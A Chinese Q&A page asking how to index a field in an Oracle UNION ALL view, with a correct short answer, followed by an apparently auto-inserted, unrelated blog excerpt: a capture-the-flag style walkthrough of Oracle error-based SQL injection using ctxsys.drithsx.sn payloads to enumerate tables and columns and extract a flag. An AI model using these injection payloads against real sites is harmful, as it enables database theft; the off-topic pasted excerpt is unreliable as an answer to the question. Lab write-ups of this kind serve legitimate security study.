oracle怎么把视图中的某字段设置成索引?

oracle-sql创建了由多个union all组成的视图,涉及到其中的某个字段,需要关联,因数据量较大,关联之后查询较慢,如何将关联字段设置成该视图的索引,从而加快查询的速度?

加索引要在表里加,不是在视图里加
表里有索引,用视图查询的时候自然会使用索引

不知道你这个问题是否已经解决, 如果还没有解决的话:
  • 这篇博客: oracle报错注入中的 使用场景是,1、无法回显的盲注 2.当字段数或类型的原因无法使用union联合查询时 部分也许能够解决你的问题, 你可以仔细阅读以下内容或者直接跳转源博客中阅读:

    1.查询是否有注入点
    对url后面加上mssql的注释 - -,页面异常

    后面加上 '- -
    在这里插入图片描述
    页面显示正常,证明有注入点,并要用’进行闭合

    2.

    利用函数ctxsys.drithsx.sn 进行报错注入
    函数的用法:
    1=ctxsys.drithsx.sn(1,(查询语句))

    3.查表名
    语句是:
    and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 ))
    在这里插入图片描述
    数据库报错,报错语句中得到了我们想要的ADMIN表
    4.查字段名
    语句:
    and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1))
    在这里插入图片描述
    第一个字段名是ID,不是我们想要的字段名,oracle又没法像mysql一样用limit,哪还有什么方法可以得到第二行数据呢

    5.用<>查看后面的数据
    可以用条件: 字段名<>第一行的字段值(就是我们第一次查出来的)
    就展示了第二行的数据
    语句:and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and column_name <>‘ID’))
    在这里插入图片描述
    第三行
    and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and column_name <>'ID’and column_name <>‘USER_NAME’))
    在这里插入图片描述
    第n行
    在这里插入图片描述
    得到的我们想要的FLAG_FLAG字段
    5.查表内的数据
    and 1=ctxsys.drithsx.sn(1,(select FLAG_FLAG from ADMIN where rownum=1))
    在这里插入图片描述

    我们也得到了我们需要的信息:flag为:zkaq{a93fe484c}


如果你已经解决了该问题, 非常希望你能够分享一下解决方案, 写成博客, 将相关链接放在评论区, 以帮助更多的人 ^-^